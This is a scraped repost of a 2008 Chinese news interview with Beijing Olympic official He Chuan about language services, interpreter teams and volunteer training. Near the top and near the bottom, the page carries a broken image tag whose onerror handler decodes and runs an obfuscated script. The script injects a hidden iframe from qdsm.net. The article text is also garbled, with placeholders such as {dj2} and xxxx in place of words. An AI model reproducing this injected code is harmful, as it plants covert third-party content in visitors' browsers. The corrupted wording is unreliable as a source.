重建“巴别塔” 55种语言服务力保奥运沟通无障碍——{dj2}专访北京奥组委 ...
重建“巴别塔” 55种语言服务力保奥运沟通无障碍——{dj2}专访北京奥组委国际联络部副部长何川 [转贴 2010-04-29 15:08:44]   
重建“巴别塔” 55种语言服务力保奥运沟通无障碍——{dj2}专访北京奥组委国际联络部副部长何川

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_200_200.html%20width%3D200%20height%3D200%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

3月31日起,北京奥运会圣火抵达北京,北京奥运火炬全球接力启动,这宣告着举世瞩目的北京2008年奥运会即将拉开帷幕。

      奥运会所涉及的频繁国际交流,就是北京奥组委国际联络部的职责所在。与此同时,为参加奥运会的一万多名运动员,数千名奥运代表团官员,数万名媒体人员提供语言服务也是他们责无旁贷的任务。

      北京奥组委国际联络部副部长何川日前接受本报记者{dj2}专访,将语言服务保障工作的准备情况一一道来。

      全球招贤 确保55种语言服务

      《21世纪》:奥运志愿者的语言培训自3月以来进入了强化阶段,这是否是国际联络部的职能所在?

      何川:志愿者分两种类别,一类是通用志愿者,一类是专业志愿者。国际联络部下属的是贵宾陪同及语言服务专业志愿者。他们的培训和其他志愿者一样,也由通用培训、专业培训、场馆培训和岗位培训组成。作为业务主管部门,国际联络部主要负责专业培训内容和部分岗位培训内容。

      贵宾陪同及语言服务专业志愿者大多是来自外语专业的学生或毕业生,也就是说他们都具备了相当的专业知识和外语水平,所以奥组委对他们的培训主要是补充与奥运相关的专业外语知识和工作岗位的介绍。

      至于本次奥运会通用志愿者的培训,则主要由志愿者部负责。从3月份开始,北京奥运会、残奥会赛会志愿者已经进入通用外语强化培训阶段。这项工作将于今年5月底前结束,主要完成30学时的英语培训和小语种问候语培训。

      培训模式则结合场馆、岗位培训的相关内容,采用集中培训或分散进行的方式,以大型讲座、小班面授、小组对话、实践模拟等形式进行。

      《21世纪》:北京奥运会将提供55种语言服务,据说是从国内外聘请专业翻译、请中央各部委和专业语言院校帮忙,这些语言专家是以什么方式与奥组委合作?是志愿者性质,还是聘用性质?

      何川:提供这些服务的人员来自社会各界,其中大部分是志愿者,也有少部分是奥组委付费的专业翻译。

      北京元培世纪翻译有限公司是北京奥组委翻译服务供应商,按照奥组委的需求,为奥组委提供相关的口、笔译服务。但是,奥运会的语言服务并不仅xx于中文翻成外文,外文翻成中文,同时还包括大量的外译外服务。

      我们将提供11种语言之间的专业翻译服务。为此,根据往届奥运会惯例,我们聘请了有多次奥运会专业翻译工作经验的专家作为北京奥运会首席翻译。由首席翻译在全世界范围内,选拔最{dj1}的翻译,最终组建由115名译员组成的奥运专业口译团队,包括汉语、英语、法语、德语、阿拉伯语、意大利语、日语、韩语、葡萄牙语、俄语、西班牙语等11个语种。

      《21世纪》:除了专业的口译工作,专业的笔译工作包括哪些内容?

      何川:奥运比赛期间,专业笔译团队主要为国际奥委会、残奥委会官员、北京奥组委领导提供文件、讲稿、会议材料等方面的笔译服务,同时负责将INFO2008信息系统的英文版在{dy}时间译成中文版和法文版。

      INFO2008是非常重要的信息发布渠道,每天的赛事信息全部从这个系统发布,它的通稿是用英文采写的。

      其中,英译中译员我们采用在国内社会招聘及北外等高校合作的方式,选拔经验丰富的译员。英译法译员方面,由于国内外译外译员稀缺,为招到称职的英译法译员,我们先后赴法国、比利时和加拿大等国开展公开招聘,确保译员的数量和质量。

      应该说,奥运赛事,仅INFO2008系统上的翻译工作量每天就高达几十万字,几乎相当于出版厚厚一本书。

      《21世纪》:奥运会赛时的场馆语言服务由谁承担?

      何川:奥运会赛事的场馆语言服务全部由志愿者承担,主要是高校的师生,另外也有一些英语院校、外交部门退休的老同志。

      每个场馆都有一个语言服务团队,语言服务经理是我们国际联络部的正式工作人员。由语言服务经理带领人数不等的语言服务队伍,为场馆的运动员、官员、记者和工作人员等提供语言服务,帮助他们解决工作中的语言沟通问题。

      老将出马 外事经验薪火相传

      《21世纪》:听说国际联络部还聘请了205名离退休大使、参赞来担任各奥运代表团的联络人员,这是什么性质的合作呢?

      何川:国际联络部下设国家/地区奥委会和国家/地区残奥委会联络与服务处,负责帮助205个国家/地区奥委会(NOC)和160个国家/地区残奥委会(NPC)备战和参加北京2008年奥运会/残奥会。

      根据惯例,北京奥组委将为NOC/NPC代表团配备一定数量的志愿者,称为NOC/NPC助理,协助代表团的赛事运行和管理工作。北京2008年奥运会将有近1100名志愿者作为NOC/NPC助理参加代表团的具体服务工作。

      由于NOC/NPC的助理人数众多,且大部分是高校大学生,外事和赛事经验不够丰富,所以我们结合1996年亚特兰大奥组委的做法,借鉴1990年亚运会和1994年远南残疾人运动会的志愿者管理模式,为每个代表团配备一名NOC/NPC代表团联络员。离退休的大使和参赞拥有丰富的外事经验,他们不仅可以统筹应对突发情况,还可以在一定程度上肩负起对志愿者的管理职能。不过,这些离退休大使和参赞基本上也属于志愿者性质。

      《21世纪》:国际联络部是否对本次奥运会涉及的语言培训制定标准?另外,为迎接本次奥运会,普通市民和各行业也开展了各种外语培训,这些培训标准由谁来制定?

      何川:国际联络部仅负责对贵宾陪同及语言服务专业志愿者进行培训。

      英孚教育公司和爱国者理想飞扬公司是北京奥组委语言培训服务供应商。英孚主要为奥组委工作人员xxxx培训服务,爱国者理想飞扬主要为志愿者xxxx培训服务。他们会根据奥组委的培训工作需要制定培训教材,提供给相关部门作为参考。

      普通市民和其他各行业的外语培训政策和标准由相关政府主管部门负责制定。

      《21世纪》:奥组委官员在奥运筹备阶段和赛事都要与来自国外的运动员和官员进行频繁的沟通,他们也要接受哪些培训,特别是在语言方面?

      何川:奥组委的工作人员在进入奥组委前都经过外语测试,很多人都具有相当不错的外语水平。另外,奥组委人事部门为各部门员工提供了很好的外语培训,组织了各类英语培训班和英语讲座,并开通网络英语培训课程。

      除此之外,奥组委各部门员工还拥有其他一些技能和专业培训,包括:岗前培训、奥运知识和筹办规律方面的培训、管理能力和综合素质方面的培训以及满足赛事运行需要的临赛培训等。

      尤其在管理能力和综合素质方面,针对骨干人员举办了处级干部培训班;针对奥组委各部门、场馆团队培训授课教师开展师资培训;针对场馆团队骨干人员开展志愿者管理和赛事团队领导力培训。这些应该在奥运赛事之后,成为人力资源方面的重要遗产。

      

      

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_180_150.html%20width%3D180%20height%3D150%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【重建“巴别塔” 55种语言服务力保奥运沟通无障碍——{dj2}专访北京奥组委 ...】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——